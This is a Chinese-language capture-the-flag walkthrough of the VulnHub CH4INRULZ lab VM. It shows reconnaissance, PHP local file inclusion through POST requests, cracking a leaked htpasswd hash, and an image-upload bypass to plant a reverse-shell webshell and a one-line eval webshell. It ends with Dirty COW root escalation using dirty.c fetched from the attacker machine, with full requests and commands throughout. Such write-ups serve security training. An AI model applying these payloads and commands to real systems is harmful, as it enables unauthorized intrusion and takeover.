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靶场vulnhub-CH4INRULZ_v1.0.1通关
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1.CH4INRULZ_v1.0.1靶场通关
ch4inrulz是vulnhub下的基于Linux的一个靶场，作为练习之用
目的：通过各种手段，获取到靶机内的flag的内容
2.环境搭建：
攻击机 Kali 192.168.31.51
靶机 Ubuntu 192.168.31.128
2.1下载CH4INRULZ_v1.0.1靶场，地址：https://download.vulnhub.com/ch4inrulz/CH4INRULZ_v1.0.1.ova
2.2将下载好的.ova扩展名的文件，直接用vm或者vbox虚拟机打开即可，会自动导入配置，打开虚拟机，会进入Ubuntu的登录界面
这里需注意的是，在打开靶机之前，需要把网络设置为桥接或者NAT
还有一点就是，因为不需要对靶机进行登录操作，所以不要去纠结没有登录密码什么的
3.正式开始测试3.1靶机配置
本人的靶机网卡配置为NAT模式，并启用DHCP，通过查看靶机的虚拟机配置下的网卡mac地址，或结合nmap对虚拟机的NAT网段进行主机扫描，如下，使用排除法轻松获取靶机ip是192.168.31.128/24
┌──(rootkali)-[~]
└─# nmap -sV 192.168.31.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 09:54 CST
Nmap scan report for 192.168.31.1
Host is up (0.00056s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
443/tcp open ssl/https VMware Workstation SOAP API 16.1.2
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:50:56:C0:00:08 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:vmware:Workstation:16.1.2, cpe:/o:microsoft:windowsNmap scan report for 192.168.31.128
Host is up (0.0046s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:E9:EB:3A (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
3.2端口扫描
对靶机192.168.31.128进行端口扫描，确认其开放的端口，开启的服务，这里使用nmap版本探测
┌──(rootkali)-[~]
└─# nmap -sV 192.168.31.128 #探测开启的端口获取服务和版本信息
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 11:36 CST
Nmap scan report for 192.168.31.128
Host is up (0.00088s latency).
2. Not shown: 996 closed ports1.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:E9:EB:3A (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds#nmap的 -A 参数，意思是一次性扫描包含系统探测 本部探测 脚本扫描和跟踪扫描,获取到的信息更详细┌──(rootkali)-[~]
└─# nmap -sV -A 192.168.31.128
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 16:17 CST
Nmap scan report for 192.168.31.128
Host is up (0.00050s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.31.51
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
| 2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_ 256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK's Website | Under development
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:E9:EB:3A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.19 - 2.6.36
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 192.168.31.128OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.78 seconds
端口扫描小结
到这一步可以得知，靶机开启了4个端口，分别是FTP（21），SSH（22），HTTP（80），HTTP（8011），并且配置了APACHE中间件作为服务端解析器，这里可以猜测大概率使用的是php语言，
3.3手工对端口验证和信息整理FTP服务
FTP提示Anonymous FTP login allowed ，允许匿名登录，登录名为：anonymous，密码为空，但没发现有价值的信息
┌──(rootkali)-[~]
└─# ftp 192.168.31.128
Connected to 192.168.31.128.
220 (vsFTPd 2.3.5)
Name (192.168.31.128:gaobo): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 111 4096 Apr 13 2018 .
drwxr-xr-x 2 0 111 4096 Apr 13 2018 ..
226 Directory send OK.
Web服务：80，8011端口
http://192.168.31.128/
#直接可以打开访问，是个人网站，个人简历之类的http://192.168.31.128:8011/
#提示Development Server !
分别对靶机的80，8011端口进行目录扫描，期望获得有价值的文件信息，这里使用7kb，和破壳同时扫描，结果如下：
23.存在该资源 http://192.168.31.128:8011/api
41.存在该资源 http://192.168.31.128/index.html.bak
8011端口
浏览器访问http://192.168.31.128:8011/api
发现提示：
This API will be used to communicate with Frank's server
but it's still under development* web_api.php* records_api.php* files_api.php* database_api.php、、
说明有4个API接口
经过尝试挨个访问，只有files_api.php存在，其它都显示404。
http://192.168.31.128:8011/api/files_api.php显示：No parameter called file passed to me* Note : this API don't use json , so send the file name in raw format这里的意思是files_api.php后面需要接参数
随便用file作为参数测试了一下，被拦截，并记录IP，GET方式被拦截，下面用POST方式试试
http://192.168.31.128:8011/api/files_api.php?file=xxxx
******* HACKER DETECTED *********YOUR IP IS : 192.168.31.1WRONG INPUT !!
发现文件包含漏洞
Burp抓包，改为Post请求，php伪协议读一下files_api.php文件内容，
POST /api/files_api.php HTTP/1.1
Host: 192.168.31.128:8011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
file=php://filter/convert.base64-encode/resource=files_api.php
对读到的内容进行base64解码
：
<head>
<title>franks website | simple website browser API</title>
</head><?php$file = $_POST['file'];
include($file);
$get_file = $_GET['file'];if(isset($get_file)){echo "<b>********* HACKER DETECTED *********</b>";
echo "<p>YOUR IP IS : ".$_SERVER['REMOTE_ADDR'];
echo "</p><p>WRONG INPUT !!</p>";
break;
}if(!isset($file)){echo "<p>No parameter called file passed to me</p>";
echo "<p>* Note : this API don't use json , so send the file name in raw format</p>";}/** else{
echo strcmp($file,"/etc/passwd");
echo strlen($file);
echo strlen("/etc/passwd");
if($file == "/etc/passwd"){
"HACKER DETECTED ..";
}
}**/?>
发现源码中禁止以GET形式读etc/passwd文件，其他的文件也读不到了
发现存在目录遍历漏洞
继续构造Post请求，使用伪协议查看/etc/passwd ，发现存在目录遍历漏洞，
POST /api/files_api.php HTTP/1.1
Host: 192.168.31.128:8011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 16file=/etc/passwd
获取到信息如下，发现一个frank用户，结合后面继续看
root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
**frank:x:1000:1000:frank,,,:/home/frank:/bin/bash**
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false
80端口
发现敏感信息泄露
http://192.168.31.128/index.html.bak，这个应该是网页开发的时候留下的备份文件，经去掉bak后缀，手动打开index.html，查看源代码发现如下；
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>
这里发现了敏感信息：frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0，这应该是一个登录名和加密后的登录密码
暴力破解口令
使用kali下的john工具，对 "frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0" 进行弱口令爆破，
John用法:john <filename>
创建文件，使用VIM将内容：frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 保存
┌──(rootkali)-[~]
└─# touch frank.txt
└─# vim ./frank.txt
└─# cat ./frank.txt
frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0┌──(rootkali)-[~]
└─# john ./frank.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
frank!!! (frank)
1g 0:00:00:00 DONE 1/3 (2021-09-01 16:02) 100.0g/s 19200p/s 19200c/s 19200C/s Frank8..1frank
Use the "--show" option to display all of the cracked passwords reliably
Session completed
成功获取到frank用户的密码：frank!!!
继续看 index.html.bak，发现还有一个目录development
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
所有，尝试去访问 http://192.168.31.128/development/，发现需要登陆，
使用上一步破解的登录名，frank和frank!!!，发现登陆成功，显示为：
Here is my unfinished tools listthe uploader tool (finished but need security review)
发现文件上传点
接着回显的英文提示信息，拼接uploader构造一个URL：http://192.168.31.128/development/uploader/打开发现是一个上传文件的界面，下面有提示
TODO : script security "50% FINISHED" 安全性50%，说明肯定是存在文件上传漏洞的
通过上传测试，发现上传.jpg的图片文件可以成功上传，提示保存成功，其他的则不行
File is an image - image/jpeg.The file icon.jpg has been uploaded to my uploads path.
File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded. #只能上传图片格式的文件
利用文件包含漏洞读上传页面源码进行审计
接下来准备尝试上传webshell，但发现一般的图片木马不能直接上传，说明服务端存在扩展名和文件内容检测
先利用上一步得到的文件包含漏洞，使用PHP伪协议php://filter/convert.base64-encode/resource=
读一下文件上传页面（upload.php）php代码，并看能不能找到上传的文件在服务器保存的目录，否则即使上传成功，找不到目录也是无法访问
根据经验，一般网站都在/var/www/html 目录下
经过测试发现 80 端口的网站在/var/www/目录下
利用 8011 端口发现的文件包含漏洞，读 upload.php。看看服务器是怎么处理的。
POST /api/files_api.php HTTP/1.1
Host: 192.168.31.128:8011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 94file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php得到结果为base64编码的字符串
PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaW1hZ2Ugb3IgZmFrZSBpbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrID0gZ2V0aW1hZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGlmKCRjaGVjayAhPT0gZmFsc2UpIHsKICAgICAgICBlY2hvICJGaWxlIGlzIGFuIGltYWdlIC0gIiAuICRjaGVja1sibWltZSJdIC4gIi4iOwogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkZpbGUgaXMgbm90IGFuIGltYWdlLiI7CiAgICAgICAgJHVwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICBlY2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4iOwogICAgJHVwbG9hZE9rID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJzaXplIl0gPiA1MDAwMDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGxhcmdlLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3JtYXRzCmlmKCRpbWFnZUZpbGVUeXBlICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBlICE9ICJwbmciICYmICRpbWFnZUZpbGVUeXBlICE9ICJqcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZpbGVzIGFyZSBhbGxvd2VkLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8+Cgo=
对读到的内容进行base64解码：
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
成功发现上传文件的保存目录
在这一步得到了文件上传页面upload.php的代码，发现上传的文件保存在目录FRANKuploads/
即：http://192.168.31.128/development/uploader/FRANKuploads/，可以访问上传的所有文件的目录
上传Webshell
这里使用Kali自带的PHP反向连接马，目录如下，/usr/share/webshells/php/php-reverse-shell.php
修改IP为攻击机的ip，最后扩展名改为kali.jpg，然后抓包上传，在BURP修改文件头为GIF89a，发现成功上传
先在攻击机执行nc监听
nc -lvvp 1234 1 ⨯listening on [any] 1234 ...
在burp里利用文件包含漏洞直接去访问上传的kali.jpg木马
POST /api/files_api.php HTTP/1.1
Host: 192.168.31.128:8011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56file=/var/www/development/uploader/FRANKuploads/kali.jpg
发现成功反弹了shell，不过不是root用户，属于普通用户
┌──(rootkali)-[/usr/share/webshells/php]
└─# nc -lvvp 1234 1 ⨯
listening on [any] 1234 ...
192.168.31.128: inverse host lookup failed: Unknown host
connect to [192.168.31.51] from (UNKNOWN) [192.168.31.128] 47666
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
17:59:14 up 15:16, 0 users, load average: 0.00, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ whoami
www-data
$ uname -a
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
这里，还有一个思路，使用同样的方法上传包含一句话的图片马，配合蚁剑也可以拿到shell，如下：
caidao.gif<?php @eval($_POST[pass]);?>
蚁剑添加数据如下，发现成功连接
URL地址：http://192.168.31.128:8011/api/files_api.php
连接密码：pass请求信息栏--http body
Name:file
Value:/var/www/development/uploader/FRANKuploads/caidao.gif
通过自带的虚拟终端可以执行linux命令和查看目录，由于属于普通用户，需要进行提权
4.脏牛提权
发现linux内核是 2.6.35
Linux kernel >= 2.6.22（2007年发行，到2016年10月18日才修复），使用脏牛（CVE-2016-5195）提权
低权限用户利用该漏洞可以在众多Linux系统上实现本地提权
在攻击机开启web服务，比如 apache 服务，然后在github下载脏牛提权文件dirty.c，地址：https://github.com/FireFart/dirtycow
把文件dirty.c放在攻击机的/var/www/html/目录下
┌──(rootkali)-[/var/www/html]
└─# service apache2 restart
┌──(rootkali)-[/var/www/html]
└─# netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 587/sshd: /usr/sbin
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 655/postgres
tcp6 0 0 :::22 :::* LISTEN 587/sshd: /usr/sbin
tcp6 0 0 ::1:5432 :::* LISTEN 655/postgres
tcp6 0 0 :::80 :::* LISTEN 12743/apache2
接着在靶机发现只有tmp目录有可写权限，所以进入/tmp目录下，使用wget下载攻击机上的脏牛提权文件dirty.c，并再在靶机执行gcc编辑为dirty（注意：这里一定要上传到靶机上在进行gcc编译，不能在别的机器编译再好传过来）
www-data@ubuntu:/$ ls -l
ls -l
total 88
drwxr-xr-x 2 root root 4096 Apr 13 2018 bin
drwxr-xr-x 3 root root 4096 Apr 13 2018 boot
drwxr-xr-x 16 root root 4040 Sep 1 02:43 dev
drwxr-xr-x 78 root root 4096 Sep 2 09:45 etc
drwxr-xr-x 3 root root 4096 Apr 13 2018 home
lrwxrwxrwx 1 root root 33 Apr 13 2018 initrd.img -> boot/initrd.img-2.6.35-19-generic
drwxr-xr-x 15 root root 12288 Apr 14 2018 lib
drwxr-xr-x 2 root root 4096 Apr 13 2018 lib64
drwx------ 2 root root 16384 Apr 13 2018 lost+found
drwxr-xr-x 4 root root 4096 Apr 13 2018 media
drwxr-xr-x 3 root root 4096 Apr 13 2018 mnt
drwxr-xr-x 2 root root 4096 Apr 13 2018 opt
dr-xr-xr-x 129 root root 0 Sep 1 02:43 proc
drwx------ 4 root root 4096 Apr 14 2018 root
drwxr-xr-x 2 root root 4096 Apr 13 2018 sbin
drwxr-xr-x 2 root root 4096 May 9 2010 selinux
drwxr-xr-x 3 root root 4096 Apr 13 2018 srv
drwxr-xr-x 13 root root 0 Sep 1 02:43 sys
drwxrwxrwt 4 root root 4096 Sep 2 09:46 tmp
drwxr-xr-x 10 root root 4096 Apr 13 2018 usr
drwxr-xr-x 16 frank frank 4096 Apr 14 2018 var
www-data@ubuntu:/$ cd /tmp
www-data@ubuntu:/tmp$ wget http://192.168.31.51/dirty.c
wget http://192.168.31.51/dirty.c
--2021-09-02 09:51:18-- http://192.168.31.51/dirty.c
Connecting to 192.168.31.51:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-csrc]
Saving to: `dirty.c'
100%[======================================>] 4,815 --.-K/s in 0s
2021-09-02 09:51:18 (524 MB/s) - `dirty.c' saved [4815/4815]
www-data@ubuntu:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread dirty.c -o dirty -lcrypt
www-data@ubuntu:/tmp$ ls -l
ls -l
total 36
drwxrwxrwt 2 root root 4096 Sep 1 02:43 VMwareDnD
-rw-r--r-- 1 root root 1860 Sep 1 02:43 _cafenv-appconfig_
-rwxrwxrwx 1 www-data www-data 14116 Sep 2 09:51 dirty
-rw-rw-rw- 1 www-data www-data 4815 Apr 24 2017 dirty.c
drwx------ 2 root root 4096 Sep 2 09:49 vmware-root
然后正式开始脏牛提权，这里会提示输入新密码：123456，然后需要多等等一会，就会提示成功的字样
$ ./dirty
Please enter the new password: 123456
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bashmmap: 7f3c94f58000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bashmmap: 7f3c94f58000
madvise 0Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
使用xhell连接，账号：firefart 123456，发现已经是root账户了
firefart@ubuntu:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@ubuntu:~# cat root.txt
8f420533b79076cc99e9f95a1a4e5568
最后成功发现flag，内容为8f420533b79076cc99e9f95a1a4e5568
到这一步就结束了。
总结：
1、前期的信息收集很重要，这一步直接后决定后面的工作展开的广度和深度，越详细越好，并进行判断
2、这个靶场把文件包含和文件上传结合了起来，一个不错的思路，可以练习利用文件包含读文件，查看信息等
3、目录扫描，可以考虑使用多个工具，一个扫描器可能扫描的信息不完整
